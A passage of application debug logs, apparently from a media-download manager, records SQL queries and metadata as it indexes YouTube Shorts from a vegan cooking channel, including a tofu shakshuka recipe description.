Vegan/2023-02-01 Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts/Make breakfast with me 😌 Sweet potato toast style 🍠 #shorts [QJDjBcFUKuU].NA", true, ~U[2023-02-01 00:09:16Z]] 20:26:30.418 [debug] QUERY OK source="sources" db=0.6ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:30.418 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:30.419 [debug] QUERY OK source="media_items" db=0.4ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [579] 20:26:30.419 [debug] Current batch of media processed. Will check again in 1000ms 20:26:31.420 [debug] Current batch of media processed. Will check again in 1000ms 20:26:32.421 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🥱 Lazy Vegan Shakshuka! 🍅 What I eat when I’m TIRED & LAZY— It’s goooood y’all.\n\nI’m still getting over the post-Covid fatigue and haven’t had tons of energy to cook these days, so having simple and quick meals ideas \nat my fingertips has been a LIFE. SAVER! 🥲\n\nLAZY VEGAN SHAKSHUKA 🍅 \n1 block extra firm tofu (@sunrisesoyafoods )\n1/2 tsp black salt / kala namak\n1/2 tsp turmeric \n1 jar Shakshuka cooking sauce @preschoice\n1 Roma tomato 🍅 chopped \n 1 tbsp sesame oil \n\nHeat your pan on medium-high heat and warm the oil — crumble the tofu into the pan and add the black salt (essential for that eggy flavour!) and turmeric, stir to thoroughly combine — let cook for 5 minutes, add plant milk and breaking apart large pieces as needed — add the shakshuka sauce and chopped tomato, stir and let simmer for 7 minutes or until hot and steamy — serve over leftover rice 🍚 garnish with cilantro and EAT UP! Healthy, easy and comforting AF 🤤\n\nSAVE THIS RECIPE FOR TONIGHT! ✔️ and follow @steamyvegankitchen for more recipes! \n\n#steamyvegankitchen #steamyvegan #preschoice #superstore #realcanadiansuperstore #healthyeatsliving #lazyveganfood #shakshuka #shakshouka #veganshakshuka #tofurecipe #plantbasedvancouver #yvrbloggers #yvrblogger #eatwellbewell #veganproteins #easyveganfood #lazyvegan #cheapvegan #cheapveganmeals #vegansharefood", "duration" => 33, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-01-19 One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱/One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱 [722buTy1m1U].NA", "id" => "722buTy1m1U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/722buTy1m1U", "playlist_index" => 191, "timestamp" => 1674148742, "title" => "One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱", "upload_date" => "20230119"} 20:26:32.423 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=838.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:32.424 [debug] QUERY OK source="sources" db=0.6ms idle=839.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:32.426 [debug] QUERY OK source="media_items" db=2.3ms idle=840.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-19 17:19:02Z], 1] 20:26:32.428 [debug] QUERY OK source="media_items" db=1.4ms idle=843.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["🥱 Lazy Vegan Shakshuka! 🍅 What I eat when I’m TIRED & LAZY— It’s goooood y’all.\n\nI’m still getting over the post-Covid fatigue and haven’t had tons of energy to cook these days, so having simple and quick meals ideas \nat my fingertips has been a LIFE. SAVER! 🥲\n\nLAZY VEGAN SHAKSHUKA 🍅 \n1 block extra firm tofu (@sunrisesoyafoods )\n1/2 tsp black salt / kala namak\n1/2 tsp turmeric \n1 jar Shakshuka cooking sauce @preschoice\n1 Roma tomato 🍅 chopped \n 1 tbsp sesame oil \n\nHeat your pan on medium-high heat and warm the oil — crumble the tofu into the pan and add the black salt (essential for that eggy flavour!) and turmeric, stir to thoroughly combine — let cook for 5 minutes, add plant milk and breaking apart large pieces as needed — add the shakshuka sauce and chopped tomato, stir and let simmer for 7 minutes or until hot and steamy — serve over leftover rice 🍚 garnish with cilantro and EAT UP! Healthy, easy and comforting AF 🤤\n\nSAVE THIS RECIPE FOR TONIGHT! ✔️ and follow @steamyvegankitchen for more recipes! \n\n#steamyvegankitchen #steamyvegan #preschoice #superstore #realcanadiansuperstore #healthyeatsliving #lazyveganfood #shakshuka #shakshouka #veganshakshuka #tofurecipe #plantbasedvancouver #yvrbloggers #yvrblogger #eatwellbewell #veganproteins #easyveganfood #lazyvegan #cheapvegan #cheapveganmeals #vegansharefood", "One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱", "09ba3937-e9b2-45e6-8f3a-4bad5c3059cd", 1, [], 33, false, "722buTy1m1U", "https://www.youtube.com/shorts/722buTy1m1U", 191, "/downloads/downloads/alec/Steamy Vegan/2023-01-19 One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱/One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱 [722buTy1m1U].NA", false, false, true, 0, ~U[2023-01-19 17:19:02Z], ~U[2026-03-22 03:26:32Z], ~U[2026-03-22 03:26:32Z], "🥱 Lazy Vegan Shakshuka! 🍅 What I eat when I’m TIRED & LAZY— It’s goooood y’all.\n\nI’m still getting over the post-Covid fatigue and haven’t had tons of energy to cook these days, so having simple and quick meals ideas \nat my fingertips has been a LIFE. SAVER! 🥲\n\nLAZY VEGAN SHAKSHUKA 🍅 \n1 block extra firm tofu (@sunrisesoyafoods )\n1/2 tsp black salt / kala namak\n1/2 tsp turmeric \n1 jar Shakshuka cooking sauce @preschoice\n1 Roma tomato 🍅 chopped \n 1 tbsp sesame oil \n\nHeat your pan on medium-high heat and warm the oil — crumble the tofu into the pan and add the black salt (essential for that eggy flavour!) and turmeric, stir to thoroughly combine — let cook for 5 minutes, add plant milk and breaking apart large pieces as needed — add the shakshuka sauce and chopped tomato, stir and let simmer for 7 minutes or until hot and steamy — serve over leftover rice 🍚 garnish with cilantro and EAT UP! Healthy, easy and comforting AF 🤤\n\nSAVE THIS RECIPE FOR TONIGHT! ✔️ and follow @steamyvegankitchen for more recipes! \n\n#steamyvegankitchen #steamyvegan #preschoice #superstore #realcanadiansuperstore #healthyeatsliving #lazyveganfood #shakshuka #shakshouka #veganshakshuka #tofurecipe #plantbasedvancouver #yvrbloggers #yvrblogger #eatwellbewell #veganproteins #easyveganfood #lazyvegan #cheapvegan #cheapveganmeals #vegansharefood", "One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱", 1, 33, false, "722buTy1m1U", "https://www.youtube.com/shorts/722buTy1m1U", "/downloads/downloads/alec/Steamy Vegan/2023-01-19 One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱/One of my fave ways to eat tofu 🍅 what I eat when I’m tired 🥱 [722buTy1m1U].NA", true, ~U[2023-01-19 17:19:02Z]] 20:26:32.429 [debug] QUERY OK source="sources" db=0.8ms idle=360.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:32.430 [debug] QUERY OK source="media_profiles" db=0.6ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:32.431 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [580] 20:26:32.431 [debug] Current batch of media processed. Will check again in 1000ms 20:26:33.432 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "HOW TO MAKE DATE SYRUP AND DATE PASTE (full recipe + instructions): https://youtu.be/WoHI7Y7JhQs", "duration" => 20, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-01-15 Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie/Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie [yppTUvHFLkg].NA", "id" => "yppTUvHFLkg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/yppTUvHFLkg", "playlist_index" => 192, "timestamp" => 1673746967, "title" => "Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie", "upload_date" => "20230115"} 20:26:33.433 [debug] QUERY OK source="sources" db=0.7ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:33.434 [debug] QUERY OK source="sources" db=0.2ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:33.436 [debug] QUERY OK source="media_items" db=1.7ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-15 01:42:47Z], 1] 20:26:33.438 [debug] QUERY OK source="media_items" db=1.2ms idle=1005.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOW TO MAKE DATE SYRUP AND DATE PASTE (full recipe + instructions): https://youtu.be/WoHI7Y7JhQs", "Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie", "a2c7f0e8-7f79-4ee1-b8d5-cfa9a3b3506e", 1, [], 20, false, "yppTUvHFLkg", "https://www.youtube.com/shorts/yppTUvHFLkg", 192, "/downloads/downloads/alec/Steamy Vegan/2023-01-15 Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie/Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie [yppTUvHFLkg].NA", false, false, true, 0, ~U[2023-01-15 01:42:47Z], ~U[2026-03-22 03:26:33Z], ~U[2026-03-22 03:26:33Z], "HOW TO MAKE DATE SYRUP AND DATE PASTE (full recipe + instructions): https://youtu.be/WoHI7Y7JhQs", "Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie", 1, 20, false, "yppTUvHFLkg", "https://www.youtube.com/shorts/yppTUvHFLkg", "/downloads/downloads/alec/Steamy Vegan/2023-01-15 Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie/Healthy sugar replacement? 🤔 Make DATE SYRUP your new kitchen bestie [yppTUvHFLkg].NA", true, ~U[2023-01-15 01:42:47Z]] 20:26:33.438 [debug] QUERY OK source="sources" db=0.3ms idle=367.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:33.439 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:33.440 [debug] QUERY OK source="media_items" db=0.4ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [581] 20:26:33.440 [debug] Current batch of media processed. Will check again in 1000ms 20:26:34.441 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 18, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-12-22 Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts/Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts [65QRtpMUpVo].NA", "id" => "65QRtpMUpVo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/65QRtpMUpVo", "playlist_index" => 193, "timestamp" => 1671733466, "title" => "Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts", "upload_date" => "20221222"} 20:26:34.442 [debug] QUERY OK source="sources" db=0.4ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:34.443 [debug] QUERY OK source="sources" db=0.4ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:34.445 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-22 18:24:26Z], 1] 20:26:34.446 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.2ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts", "18701eaf-cc81-4c64-9b68-8b43006ac91c", 1, [], 18, false, "65QRtpMUpVo", "https://www.youtube.com/shorts/65QRtpMUpVo", 193, "/downloads/downloads/alec/Steamy Vegan/2022-12-22 Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts/Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts [65QRtpMUpVo].NA", false, false, true, 0, ~U[2022-12-22 18:24:26Z], ~U[2026-03-22 03:26:34Z], ~U[2026-03-22 03:26:34Z], "", "Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts", 1, 18, false, "65QRtpMUpVo", "https://www.youtube.com/shorts/65QRtpMUpVo", "/downloads/downloads/alec/Steamy Vegan/2022-12-22 Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts/Really hot spicy pepper taste test reactions 🥵🔥😱 #shorts [65QRtpMUpVo].NA", true, ~U[2022-12-22 18:24:26Z]] 20:26:34.446 [debug] QUERY OK source="sources" db=0.3ms idle=374.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:34.447 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:34.447 [debug] QUERY OK source="media_items" db=0.3ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [582] 20:26:34.447 [debug] Current batch of media processed. Will check again in 1000ms 20:26:35.448 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "In this funny parody sketch we discuss how to lose your Canadian citizenship. Check out the full 12 minute episode live on the channel by subscribing!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-12-20 How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts/How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts [bc4Qb2G1K9o].NA", "id" => "bc4Qb2G1K9o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/bc4Qb2G1K9o", "playlist_index" => 194, "timestamp" => 1671568396, "title" => "How to Lose Your Canadian Citizenship - True or False? 🤔🇨🇦❤️ #shorts #youtubeshorts", "upload_date" => "20221220"} 20:26:35.449 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:35.450 [debug] QUERY OK source="sources" db=0.5ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:35.452 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-12-20 20:33:16Z], 1] 20:26:35.453 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" 